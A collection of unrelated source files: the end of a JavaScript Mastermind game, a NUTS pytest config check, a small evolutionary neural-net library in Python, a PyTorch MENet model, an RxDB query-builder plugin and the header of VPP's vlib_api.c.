ok_btn.y = cr.sphere[0].y;
ok_btn.draw();
}
function cleanCurrentRow(n) {
var cr = rowa[n];
for (i = 0; i < cr.sphere.length; i++) {
cr.sphere[i].removeEvent('click', clickPick);
cr.sphere[i].removeEvent('mouseover', overBtn);
cr.sphere[i].removeEvent('mouseout', outBtn);
}
pointer(false);
currentRow++;
if (currentRow === rowa.length) {
label_result.txt = 'Hai Perso';
master_board.visible = true;
master_board.draw();
ok_btn.y = label_result.y;
ok_btn.draw();
ok_btn.removeEvent('click', clickBtn);
ok_btn.addEvent('click', restart);
return;
}
setCurrentRow(currentRow);
}
function checkGuess(t) {
var m = [], n = [], c = [], right = [], almost = [];
for (var i = 0; i < master.length; i++) {
if (master[i] === t[i]) {
right.push(i);
} else {
m.push(master[i]);
n.push(t[i]);
}
}
for (i = 0; i < m.length; i++) {
for (var a = 0; a < n.length; a++) {
if (m[i] === n[a]) {
almost.push(i);
n.splice(a, 1);
break;
}
}
}
var b = right.length, w = almost.length;
var cr = rowa[currentRow].guess;
for (i = 0; i < b; i++) {
cr[i].color = 'black';
}
for (i = b; i < w + b; i++) {
cr[i].color = 'white';
}
guess_board.draw();
if (right.length === 4) {
pointer(false);
label_result.txt = 'Hai Vinto';
master_board.visible = true;
master_board.draw();
ok_btn.y = label_result.y;
ok_btn.draw();
ok_btn.removeEvent('click', clickBtn);
ok_btn.addEvent('click', restart);
var cr = rowa[currentRow];
for (i = 0; i < cr.sphere.length; i++) {
cr.sphere[i].removeEvent('click', clickPick);
cr.sphere[i].removeEvent('mouseover', overBtn);
cr.sphere[i].removeEvent('mouseout', outBtn);
}
} else {
cleanCurrentRow(currentRow);
}
}
function restart() {
for (var i = 0; i < rowa.length; i++) {
var e = rowa[i];
for (var a = 0; a < e.sphere.length; a++) {
e.sphere[a].data.code = -1;
e.sphere[a].gradient = null;
e.guess[a].color = null;
}
}
currentElement = null;
currentRow = 0;
ok_btn.y = guess.y;
master_board.visible = false;
master = [Math.round(Math.random() * 5), Math.round(Math.random() * 5),
Math.round(Math.random() * 5), Math.round(Math.random() * 5)];
for (a = 0; a < master_sphere.length; a++) {
master_sphere[a].gradient = {'offset': [0, 1],
'color': ['ivory', color[master[a]]],
'type': 'radial',
'coord': {'x0': -5, 'y0': -5, 'r0': 2, 'x1': 0, 'y1': 0, 'r1': 16}};
}
stage.draw();
ok_btn.removeEvent('click', restart);
ok_btn.addEvent('click', clickBtn);
setCurrentRow(currentRow);
}
stage.add(main);
stage.add(deck);
stage.add(ok_btn);
stage.add(sphere);
stage.add(guess_board);
stage.add(picker);
stage.add(master_board);
stage.draw();
setCurrentRow(currentRow);
}
var img = new Image();
img.onload = function() {
init(img);
};
img.src = params[0] ? 'img/retina_wood.png' : 'http://www.somethinglikethis.it/img/hosted/retina_wood.png';
};
|
"""Query config of a device."""
from typing import Dict, Callable, List, Any
import pytest
from nornir.core.filter import F
from nornir.core.task import MultiResult, Result
from nornir_napalm.plugins.tasks import napalm_get
from nuts.context import NornirNutsContext
from nuts.helpers.filters import filter_hosts
from nuts.helpers.result import AbstractHostResultExtractor
class ConfigExtractor(AbstractHostResultExtractor):
def single_transform(self, single_result: MultiResult) -> Dict[int, Any]:
return self._simple_extract(single_result)
class ConfigContext(NornirNutsContext):
def nuts_task(self) -> Callable[..., Result]:
return napalm_get
def nuts_arguments(self) -> Dict[str, List[str]]:
return {"getters": ["config"]}
def nornir_filter(self) -> F:
return filter_hosts(self.nuts_parameters["test_data"])
def nuts_extractor(self) -> ConfigExtractor:
return ConfigExtractor(self)
CONTEXT = ConfigContext
class TestNapalmConfig:
@pytest.mark.nuts("startup_equals_running_config")
def test_startup_equals_running_config(
self, single_result, startup_equals_running_config
):
assert (
bool(single_result.result["startup"] == single_result.result["running"])
== startup_equals_running_config
)
|
import random
import json
import math
import warnings
def inSet(strings):
inputs = {}
for i in strings:
inputs[i] = InNode()
return inputs
def outSet(strings, activation_func="sigmoid"):
outputs = {}
for i in strings:
outputs[i] = OutNode(activation_func=activation_func)
return outputs
def scale(minv, v, maxv, minx=-1, maxx=1):
# scale to 0 to 1
return ((v - minv) / (maxv - minv)) * (maxx - minx) + minx
def descale(minv, v, maxv):
# descale from 0 to 1
return v * (maxv - minv) + minv
class Node: # the core of the nueral net, a node must have a value
def __init__(self):
self.val = 0 # default the node value to 0
self.total = 0
self.count = 0
self.acivation_func = "sigmoid"
def reset(self):
self.total = 0
self.count = 0
def recieveValue(self, val, weight): # used to take in a value
self.total += val * weight
self.count += abs(weight)
def calc(self):
if self.acivation_func == "sigmoid":
self.val = ((1 / (1 + math.pow(math.e, (-1 * self.total)))) * 2) -1
elif self.acivation_func == "relu":
self.val = max(0, self.total)
elif self.acivation_func == "old":
self.val = self.total / self.count
else:
warnings.warn("Unknown activation func: " + str(self.acivation_func))
class InNode(Node): # an input
def __init__(self):
super().__init__()
self.connections = {} # default to no connections
def connect(self, cnode):
self.connections[cnode] = 0 # default each connection strength to 0
def disconnect(self, dnode):
try:
self.connections.pop(dnode)
except Exception as e:
warnings.warn(str(Node) + " not found. Exception: " + str(e))
def activate(self):
for nextNode in self.connections:
nextNode.recieveValue(self.val, self.connections[nextNode]) # push the value through the connection
def evolve(self, evoRate):
for i in self.connections:
self.connections[i] = customRand(self.connections[i], evoRate)
class OutNode(Node):
def __init__(self, activation_func="sigmoid"):
super().__init__() # these nodes just hold values, so they are kind of dumb
self.acivation_func = activation_func
class MidNode(Node): # pretty much the same as an input node
def __init__(self, activation_func="sigmoid"):
super().__init__()
self.connections = {}
self.acivation_func = activation_func
def connect(self, cnode):
self.connections[cnode] = 0
def disconnect(self, dnode):
try:
self.connections.pop(dnode)
except Exception as e:
warnings.warn(str(Node) + " not found. Exception: " + str(e))
def activate(self):
for nextNode in self.connections:
nextNode.recieveValue(self.val, self.connections[nextNode]) # push the value through the connection
def evolve(self, evoRate):
for i in self.connections:
self.connections[i] = customRand(self.connections[i], evoRate)
class Net: # the network itself, contains many nodes
def __init__(self, inputsRaw, outputsRaw, width, depth, bias=True, activation_func="sigmoid",
final_activation_func="sigmoid", neat=False, datafile = None, classifier_output=None):
self.activation_func = activation_func
self.final_activation_func = final_activation_func
self.datafile = datafile
self.inputs = inSet(inputsRaw)
self.outputs = outSet(outputsRaw, activation_func=final_activation_func)
self.expectedInputs = inputsRaw
self.expectedOutputs = outputsRaw
self.bias = InNode()
self.usebias = bias
self.neat = neat
if classifier_output is None and len(self.outputs) == 1:
self.classifier_output = list(self.outputs.keys())[0]
else:
self.classifier_output = classifier_output
self.midnodes = []
self.out = {}
for i in range(0, width):
midnodestemp = []
for j in range(0, depth):
midnodestemp.append(MidNode(activation_func=self.activation_func))
self.midnodes.append(midnodestemp)
self.width = width
self.depth = depth
if width == 0:
for inName in self.inputs:
inputNode = self.inputs[inName]
for outName in self.outputs:
outputNode = self.outputs[outName]
inputNode.connect(outputNode)
else:
for inName in self.inputs:
inputNode = self.inputs[inName]
for midNode in self.midnodes[0]:
inputNode.connect(midNode)
for i in range(1, len(self.midnodes)):
for midnode in self.midnodes[i - 1]:
for midnode2 in self.midnodes[i]:
midnode.connect(midnode2)
for midnode in self.midnodes[len(self.midnodes) - 1]:
for outputName in self.outputs:
outputNode = self.outputs[outputName]
midnode.connect(outputNode)
for midnodelist in self.midnodes:
for midnode in midnodelist:
self.bias.connect(midnode)
def setNode(self, name, val): # in
self.inputs[name].val = val
def getNode(self, name): # out
return self.outputs[name].val
def receiveInput(self, inputs):
for name in inputs:
self.setNode(name, scale(self.expectedInputs[name]["min"], inputs[name],
self.expectedInputs[name]["max"], minx=-1, maxx=1))
def getOutput(self):
out = {}
for name in self.expectedOutputs:
out[name] = self.getNode(name)
return out
def scale(self, name, val):
return scale(self.expectedOutputs[name]["min"], val, self.expectedOutputs[name]["max"])
def process(self): # eval
if self.usebias:
self.bias.activate()
for inName in self.inputs: # activate net
inputNode = self.inputs[inName]
inputNode.activate()
for midnodelist in self.midnodes:
for midnode in midnodelist:
midnode.calc()
midnode.activate()
for outName in self.outputs:
outputNode = self.outputs[outName]
outputNode.calc()
def reset(self):
self.bias.val = -1
for name in self.inputs: # reset all inputs
inputNode = self.inputs[name]
inputNode.reset()
for name in self.outputs: # reset all outputs
outputNode = self.outputs[name]
outputNode.reset()
for midnodelist in self.midnodes:
for midnode in midnodelist:
midnode.reset()
def evolve(self, evoRate):
# region NEAT
if self.neat: # Nuero Evolution of Augmented Topolgies
if random.randint(0, 3) == 0:
if random.randint(0, 2) != 0: # mostly add nodes
newnode = MidNode()
length = len(self.midnodes)
if random.randint(0,1): #don't add stuff to the end that much
length = max(0,length-1)
insertlayer = random.randint(0, length) # pick one of the lists, or the end
# 67% chance to do an insert instead
if insertlayer != len(self.midnodes) and random.randint(0, 2) == 0:
self.midnodes.insert(insertlayer, [newnode])
elif insertlayer == len(self.midnodes):
self.midnodes.append([newnode])
else:
self.midnodes[insertlayer].append(newnode)
# ok, time to connect the node
if insertlayer == len(self.midnodes) - 1:
for inName in self.inputs:
inputNode = self.inputs[inName]
newnode.connect(inputNode) # def to 0, we evolve later anyway
else:
for midnode in self.midnodes[insertlayer + 1]:
newnode.connect(midnode)
else: # delete midnodes
rawmidnodeslist = []
for midnodelist in self.midnodes:
for midnode in midnodelist:
rawmidnodeslist.append(midnode)
if len(rawmidnodeslist) > 0:
newnode = rawmidnodeslist.pop(random.randint(0, len(rawmidnodeslist) - 1))
for inName in self.inputs:
inputNode = self.inputs[inName]
if newnode in inputNode.connections.keys():
inputNode.disconnect(newnode)
for midnode in rawmidnodeslist:
if newnode in midnode.connections.keys():
midnode.disconnect(newnode)
# endregion NEAT
for inName in self.inputs:
inputNode = self.inputs[inName]
inputNode.evolve(evoRate)
for midnodelist in self.midnodes:
for midnode in midnodelist:
midnode.evolve(evoRate)
if self.usebias:
self.bias.evolve(evoRate)
return self
def getJSON(self, name, ver):
outjson = {"net_name": name,
"net_ver": str(ver),
"midwidth": self.width,
"nodes": [],
"expectedInputs": self.expectedInputs,
"expectedOutputs": self.expectedOutputs,
"act_func": self.activation_func,
"fin_act_func": self.final_activation_func,
"use-bias": self.usebias,
"use-neat": self.neat,
"data-file": self.datafile,
"classifier-output": self.classifier_output}
nodeid = 0
nodeindex = {}
for name in self.inputs:
nodeindex[self.inputs[name]] = {"layer": "input", "name": name, "id": nodeid}
nodeid += 1
allmids = []
rowcount = 0
for row in self.midnodes:
for midnode in row:
allmids.append(midnode)
nodeindex[midnode] = {"layer": rowcount, "id": nodeid}
nodeid += 1
rowcount += 1
for name in self.outputs:
nodeindex[self.outputs[name]] = {"layer": "output", "name": name, "id": nodeid}
nodeid += 1
nodeindex[self.bias] = {"layer": "bias", "id": nodeid}
for node in nodeindex:
if nodeindex[node]["layer"] != "output":
connectionjson = {}
for connection in node.connections:
connectionid = nodeindex[connection]["id"]
connectionval = node.connections[connection]
connectionjson[connectionid] = connectionval
nodeindex[node]["connections"] = connectionjson
outjson["nodes"].append(nodeindex[node])
return outjson
def save(self, fname, name, ver, log=True):
if log:
print("Saving net: " + name + " with version: " + str(ver) + " to file: " + fname)
data = self.getJSON(name, str(ver))
with open((fname + '.json'), 'w') as fp:
json.dump(data, fp, sort_keys=True, indent=4)
def customRand(cVal, evoRate):
rate = 1
for i in range(0, 3):
if random.randint(0, 2) == 1:
rate = rate * 1.1
else:
break
rate = rate * evoRate
newVal = cVal + ((random.random() * 2 - 1) * rate / 10)
if newVal > 1:
newVal = 1
elif newVal < -1:
newVal = -1
return newVal
def Random(inputs, outputs, length, width, depth, bias=True, activation_func="relu", final_activation_func="relu", neat=False, log=True):
if log:
print("Creating a set of " + str(length) + " random nets")
netDB = []
for i in range(0, length):
newNet = Net(inputs, outputs, width, depth, bias=bias, activation_func=activation_func,
final_activation_func=final_activation_func, neat=neat)
newNet.evolve(5)
netDB.append([newNet, 0])
return netDB
def loadNet(fname, log=True):
try:
with open((fname + '.json'), 'r') as fp:
data = json.load(fp)
if log:
print("Found file with name: " + data["net_name"] + " and ver: " + data["net_ver"])
return loadNetJSON(data)
except Exception as e:
warnings.warn("Error loading file: " + str(e))
return Net({}, {}, 0, 0)
def loadNetJSON(data):
nodeindex = {}
newinputs = {}
newoutputs = {}
newmids = []
for i in range(0, int(data["midwidth"])):
newmids.append([])
newnet = Net({}, {}, 0, 0)
newnet.activation_func = data["act_func"]
newnet.final_activation_func = data["fin_act_func"]
newnet.usebias = data["use-bias"]
newnet.neat = data["use-neat"]
newnet.datafile = data["data-file"]
newnet.classifier_output = data["classifier-output"]
for nodedata in data["nodes"]:
if nodedata["layer"] == "input":
newnode = InNode()
nodeindex[nodedata["id"]] = newnode
newinputs[nodedata["name"]] = newnode
elif nodedata["layer"] == "output":
newnode = OutNode(activation_func=newnet.final_activation_func)
nodeindex[nodedata["id"]] = newnode
newoutputs[nodedata["name"]] = newnode
elif nodedata["layer"] == "bias":
newnode = InNode()
nodeindex[nodedata["id"]] = newnode
newnet.bias = newnode
else:
newnode = MidNode(activation_func=newnet.activation_func)
nodeindex[nodedata["id"]] = newnode
newmids[int(nodedata["layer"])].append(newnode)
newnet.inputs = newinputs
newnet.outputs = newoutputs
newnet.midnodes = newmids
newnet.expectedInputs = data["expectedInputs"]
newnet.expectedOutputs = data["expectedOutputs"]
for nodedata in data["nodes"]:
if nodedata["layer"] != "output":
node = nodeindex[nodedata["id"]]
for connectionnum in nodedata["connections"]:
node.connections[nodeindex[int(connectionnum)]] = nodedata["connections"][connectionnum]
return newnet
def saveNets(netDB, fname, name, ver, log=True):
if log:
print("Saving nets: " + name + " with version: " + str(ver) + " to file: " + fname)
i = 0
data = {"name": name,
"ver": str(ver),
"nets": []}
for net in netDB:
data["nets"].append(net.getJSON(i, str(ver)))
i += 1
with open((fname + '.json'), 'w') as fp:
json.dump(data, fp, sort_keys=True, indent=4)
def loadNets(fname, log=False):
with open((fname + '.json'), 'r') as fp:
data = json.load(fp)
if log:
print("Found file with name: " + data["name"] + " and ver: " + data["ver"])
netDB = []
for net in data["nets"]:
netDB.append([loadNetJSON(net), 0])
return netDB
|
"""
MENet, implemented in PyTorch.
Original paper: 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile Applications,'
https://arxiv.org/abs/1803.09127.
"""
__all__ = ['MENet', 'menet108_8x1_g3', 'menet128_8x1_g4', 'menet160_8x1_g8', 'menet228_12x1_g3', 'menet256_12x1_g4',
'menet348_12x1_g3', 'menet352_12x1_g8', 'menet456_24x1_g3']
import os
import torch
import torch.nn as nn
import torch.nn.init as init
from .common import conv1x1, ChannelShuffle
def depthwise_conv3x3(channels,
stride):
"""
Depthwise convolution 3x3 layer. This is exactly the same layer as in ShuffleNet.
Parameters:
----------
channels : int
Number of input/output channels.
strides : int or tuple/list of 2 int
Strides of the convolution.
"""
return nn.Conv2d(
in_channels=channels,
out_channels=channels,
kernel_size=3,
stride=stride,
padding=1,
groups=channels,
bias=False)
def group_conv1x1(in_channels,
out_channels,
groups):
"""
Group convolution 1x1 layer. This is exactly the same layer as in ShuffleNet.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
groups : int
Number of groups.
"""
return nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=1,
groups=groups,
bias=False)
def conv3x3(in_channels,
out_channels,
stride):
"""
Convolution 3x3 layer.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
stride : int or tuple/list of 2 int
Strides of the convolution.
"""
return nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=3,
stride=stride,
padding=1,
bias=False)
class MEUnit(nn.Module):
"""
MENet unit.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
side_channels : int
Number of side channels.
groups : int
Number of groups in convolution layers.
downsample : bool
Whether do downsample.
ignore_group : bool
Whether ignore group value in the first convolution layer.
"""
def __init__(self,
in_channels,
out_channels,
side_channels,
groups,
downsample,
ignore_group):
super(MEUnit, self).__init__()
self.downsample = downsample
mid_channels = out_channels // 4
if downsample:
out_channels -= in_channels
# residual branch
self.compress_conv1 = group_conv1x1(
in_channels=in_channels,
out_channels=mid_channels,
groups=(1 if ignore_group else groups))
self.compress_bn1 = nn.BatchNorm2d(num_features=mid_channels)
self.c_shuffle = ChannelShuffle(
channels=mid_channels,
groups=groups)
self.dw_conv2 = depthwise_conv3x3(
channels=mid_channels,
stride=(2 if self.downsample else 1))
self.dw_bn2 = nn.BatchNorm2d(num_features=mid_channels)
self.expand_conv3 = group_conv1x1(
in_channels=mid_channels,
out_channels=out_channels,
groups=groups)
self.expand_bn3 = nn.BatchNorm2d(num_features=out_channels)
if downsample:
self.avgpool = nn.AvgPool2d(kernel_size=3, stride=2, padding=1)
self.activ = nn.ReLU(inplace=True)
# fusion branch
self.s_merge_conv = conv1x1(
in_channels=mid_channels,
out_channels=side_channels)
self.s_merge_bn = nn.BatchNorm2d(num_features=side_channels)
self.s_conv = conv3x3(
in_channels=side_channels,
out_channels=side_channels,
stride=(2 if self.downsample else 1))
self.s_conv_bn = nn.BatchNorm2d(num_features=side_channels)
self.s_evolve_conv = conv1x1(
in_channels=side_channels,
out_channels=mid_channels)
self.s_evolve_bn = nn.BatchNorm2d(num_features=mid_channels)
def forward(self, x):
identity = x
# pointwise group convolution 1
x = self.compress_conv1(x)
x = self.compress_bn1(x)
x = self.activ(x)
x = self.c_shuffle(x)
# merging
y = self.s_merge_conv(x)
y = self.s_merge_bn(y)
y = self.activ(y)
# depthwise convolution (bottleneck)
x = self.dw_conv2(x)
x = self.dw_bn2(x)
# evolution
y = self.s_conv(y)
y = self.s_conv_bn(y)
y = self.activ(y)
y = self.s_evolve_conv(y)
y = self.s_evolve_bn(y)
y = torch.sigmoid(y)
x = x * y
# pointwise group convolution 2
x = self.expand_conv3(x)
x = self.expand_bn3(x)
# identity branch
if self.downsample:
identity = self.avgpool(identity)
x = torch.cat((x, identity), dim=1)
else:
x = x + identity
x = self.activ(x)
return x
class MEInitBlock(nn.Module):
"""
MENet specific initial block.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
"""
def __init__(self,
in_channels,
out_channels):
super(MEInitBlock, self).__init__()
self.conv = nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=3,
stride=2,
padding=1,
bias=False)
self.bn = nn.BatchNorm2d(num_features=out_channels)
self.activ = nn.ReLU(inplace=True)
self.pool = nn.MaxPool2d(
kernel_size=3,
stride=2,
padding=1)
def forward(self, x):
x = self.conv(x)
x = self.bn(x)
x = self.activ(x)
x = self.pool(x)
return x
class MENet(nn.Module):
"""
MENet model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile Applications,'
https://arxiv.org/abs/1803.09127.
Parameters:
----------
channels : list of list of int
Number of output channels for each unit.
init_block_channels : int
Number of output channels for the initial unit.
side_channels : int
Number of side channels in a ME-unit.
groups : int
Number of groups in convolution layers.
in_channels : int, default 3
Number of input channels.
in_size : tuple of two ints, default (224, 224)
Spatial size of the expected input image.
num_classes : int, default 1000
Number of classification classes.
"""
def __init__(self,
channels,
init_block_channels,
side_channels,
groups,
in_channels=3,
in_size=(224, 224),
num_classes=1000):
super(MENet, self).__init__()
self.in_size = in_size
self.num_classes = num_classes
self.features = nn.Sequential()
self.features.add_module("init_block", MEInitBlock(
in_channels=in_channels,
out_channels=init_block_channels))
in_channels = init_block_channels
for i, channels_per_stage in enumerate(channels):
stage = nn.Sequential()
for j, out_channels in enumerate(channels_per_stage):
downsample = (j == 0)
ignore_group = (i == 0) and (j == 0)
stage.add_module("unit{}".format(j + 1), MEUnit(
in_channels=in_channels,
out_channels=out_channels,
side_channels=side_channels,
groups=groups,
downsample=downsample,
ignore_group=ignore_group))
in_channels = out_channels
self.features.add_module("stage{}".format(i + 1), stage)
self.features.add_module('final_pool', nn.AvgPool2d(
kernel_size=7,
stride=1))
self.output = nn.Linear(
in_features=in_channels,
out_features=num_classes)
self._init_params()
def _init_params(self):
for name, module in self.named_modules():
if isinstance(module, nn.Conv2d):
init.kaiming_uniform_(module.weight)
if module.bias is not None:
init.constant_(module.bias, 0)
def forward(self, x):
x = self.features(x)
x = x.view(x.size(0), -1)
x = self.output(x)
return x
def get_menet(first_stage_channels,
side_channels,
groups,
model_name=None,
pretrained=False,
root=os.path.join('~', '.torch', 'models'),
**kwargs):
"""
Create MENet model with specific parameters.
Parameters:
----------
first_stage_channels : int
Number of output channels at the first stage.
side_channels : int
Number of side channels in a ME-unit.
groups : int
Number of groups in convolution layers.
model_name : str or None, default None
Model name for loading pretrained model.
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
layers = [4, 8, 4]
if first_stage_channels == 108:
init_block_channels = 12
channels_per_layers = [108, 216, 432]
elif first_stage_channels == 128:
init_block_channels = 12
channels_per_layers = [128, 256, 512]
elif first_stage_channels == 160:
init_block_channels = 16
channels_per_layers = [160, 320, 640]
elif first_stage_channels == 228:
init_block_channels = 24
channels_per_layers = [228, 456, 912]
elif first_stage_channels == 256:
init_block_channels = 24
channels_per_layers = [256, 512, 1024]
elif first_stage_channels == 348:
init_block_channels = 24
channels_per_layers = [348, 696, 1392]
elif first_stage_channels == 352:
init_block_channels = 24
channels_per_layers = [352, 704, 1408]
elif first_stage_channels == 456:
init_block_channels = 48
channels_per_layers = [456, 912, 1824]
else:
raise ValueError("The {} of `first_stage_channels` is not supported".format(first_stage_channels))
channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)]
net = MENet(
channels=channels,
init_block_channels=init_block_channels,
side_channels=side_channels,
groups=groups,
**kwargs)
if pretrained:
if (model_name is None) or (not model_name):
raise ValueError("Parameter `model_name` should be properly initialized for loading pretrained model.")
from .model_store import download_model
download_model(
net=net,
model_name=model_name,
local_model_store_dir_path=root)
return net
def menet108_8x1_g3(**kwargs):
"""
108-MENet-8x1 (g=3) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=108, side_channels=8, groups=3, model_name="menet108_8x1_g3", **kwargs)
def menet128_8x1_g4(**kwargs):
"""
128-MENet-8x1 (g=4) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=128, side_channels=8, groups=4, model_name="menet128_8x1_g4", **kwargs)
def menet160_8x1_g8(**kwargs):
"""
160-MENet-8x1 (g=8) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=160, side_channels=8, groups=8, model_name="menet160_8x1_g8", **kwargs)
def menet228_12x1_g3(**kwargs):
"""
228-MENet-12x1 (g=3) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=228, side_channels=12, groups=3, model_name="menet228_12x1_g3", **kwargs)
def menet256_12x1_g4(**kwargs):
"""
256-MENet-12x1 (g=4) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=256, side_channels=12, groups=4, model_name="menet256_12x1_g4", **kwargs)
def menet348_12x1_g3(**kwargs):
"""
348-MENet-12x1 (g=3) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=348, side_channels=12, groups=3, model_name="menet348_12x1_g3", **kwargs)
def menet352_12x1_g8(**kwargs):
"""
352-MENet-12x1 (g=8) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=352, side_channels=12, groups=8, model_name="menet352_12x1_g8", **kwargs)
def menet456_24x1_g3(**kwargs):
"""
456-MENet-24x1 (g=3) model from 'Merging and Evolution: Improving Convolutional Neural Networks for Mobile
Applications,' https://arxiv.org/abs/1803.09127.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.torch/models'
Location for keeping the model parameters.
"""
return get_menet(first_stage_channels=456, side_channels=24, groups=3, model_name="menet456_24x1_g3", **kwargs)
def _calc_width(net):
import numpy as np
net_params = filter(lambda p: p.requires_grad, net.parameters())
weight_count = 0
for param in net_params:
weight_count += np.prod(param.size())
return weight_count
def _test():
import torch
from torch.autograd import Variable
pretrained = False
models = [
menet108_8x1_g3,
menet128_8x1_g4,
# menet160_8x1_g8,
menet228_12x1_g3,
menet256_12x1_g4,
menet348_12x1_g3,
menet352_12x1_g8,
menet456_24x1_g3,
]
for model in models:
net = model(pretrained=pretrained)
# net.train()
net.eval()
weight_count = _calc_width(net)
print("m={}, {}".format(model.__name__, weight_count))
assert (model != menet108_8x1_g3 or weight_count == 654516)
assert (model != menet128_8x1_g4 or weight_count == 750796)
assert (model != menet160_8x1_g8 or weight_count == 850120)
assert (model != menet228_12x1_g3 or weight_count == 1806568)
assert (model != menet256_12x1_g4 or weight_count == 1888240)
assert (model != menet348_12x1_g3 or weight_count == 3368128)
assert (model != menet352_12x1_g8 or weight_count == 2272872)
assert (model != menet456_24x1_g3 or weight_count == 5304784)
x = Variable(torch.randn(1, 3, 224, 224))
y = net(x)
assert (tuple(y.size()) == (1, 1000))
if __name__ == "__main__":
_test()
|
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _exportNames = {
runBuildingStep: true,
applyBuildingStep: true,
RxDBQueryBuilderPlugin: true
};
exports.runBuildingStep = runBuildingStep;
exports.applyBuildingStep = applyBuildingStep;
exports.RxDBQueryBuilderPlugin = void 0;
var _nosqlQueryBuilder = require("./mquery/nosql-query-builder");
Object.keys(_nosqlQueryBuilder).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
if (key in exports && exports[key] === _nosqlQueryBuilder[key]) return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function get() {
return _nosqlQueryBuilder[key];
}
});
});
var _rxQuery = require("../../rx-query");
var _util = require("../../util");
// if the query-builder plugin is used, we have to save it's last path
var RXQUERY_OTHER_FLAG = 'queryBuilderPath';
function runBuildingStep(rxQuery, functionName, value) {
var queryBuilder = (0, _nosqlQueryBuilder.createQueryBuilder)((0, _util.clone)(rxQuery.mangoQuery));
if (rxQuery.other[RXQUERY_OTHER_FLAG]) {
queryBuilder._path = rxQuery.other[RXQUERY_OTHER_FLAG];
}
queryBuilder[functionName](value); // run
var queryBuilderJson = queryBuilder.toJSON();
var newQuery = new _rxQuery.RxQueryBase(rxQuery.op, queryBuilderJson.query, rxQuery.collection);
if (queryBuilderJson.path) {
newQuery.other[RXQUERY_OTHER_FLAG] = queryBuilderJson.path;
}
var tunneled = (0, _rxQuery.tunnelQueryCache)(newQuery);
return tunneled;
}
function applyBuildingStep(proto, functionName) {
proto[functionName] = function (value) {
return runBuildingStep(this, functionName, value);
};
}
var RxDBQueryBuilderPlugin = {
rxdb: true,
prototypes: {
RxQuery: function RxQuery(proto) {
['where', 'equals', 'eq', 'or', 'nor', 'and', 'mod', 'exists', 'elemMatch', 'sort'].forEach(function (attribute) {
applyBuildingStep(proto, attribute);
});
_nosqlQueryBuilder.OTHER_MANGO_ATTRIBUTES.forEach(function (attribute) {
applyBuildingStep(proto, attribute);
});
_nosqlQueryBuilder.OTHER_MANGO_OPERATORS.forEach(function (operator) {
applyBuildingStep(proto, operator);
});
}
}
};
exports.RxDBQueryBuilderPlugin = RxDBQueryBuilderPlugin;
//# sourceMappingURL=index.js.map
|
/*
*------------------------------------------------------------------
* vlib_api.c VLIB API implementation
*
* Copyright (c) 2009 Cisco and/or its affiliates.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*------------------------------------------------------------------
*/
#include <fcntl.h>
#include <pthread.h>
#include <vppinfra/vec.h>
#include <vppinfra/hash.h>
#include <vppinfra/pool.h>
#include <vppinfra/format.h>
#include <vppinfra/byte_order.h>
#include <vppinfra/elog.h>
#include <vlib/vlib.h>
#include <vlib/unix/unix.h>
#include <vlibapi/api.h>
#include <vlibmemory/api.h>
/**
* @file
* @brief Binary API messaging via shared memory
* Low-level, primary provisioning interface
*/
/*? %%clicmd:group_label Binary API CLI %% ?*/
/*? %%syscfg:group_label Binary API configuration %% ?*/
#define TRACE_VLIB_MEMORY_QUEUE 0
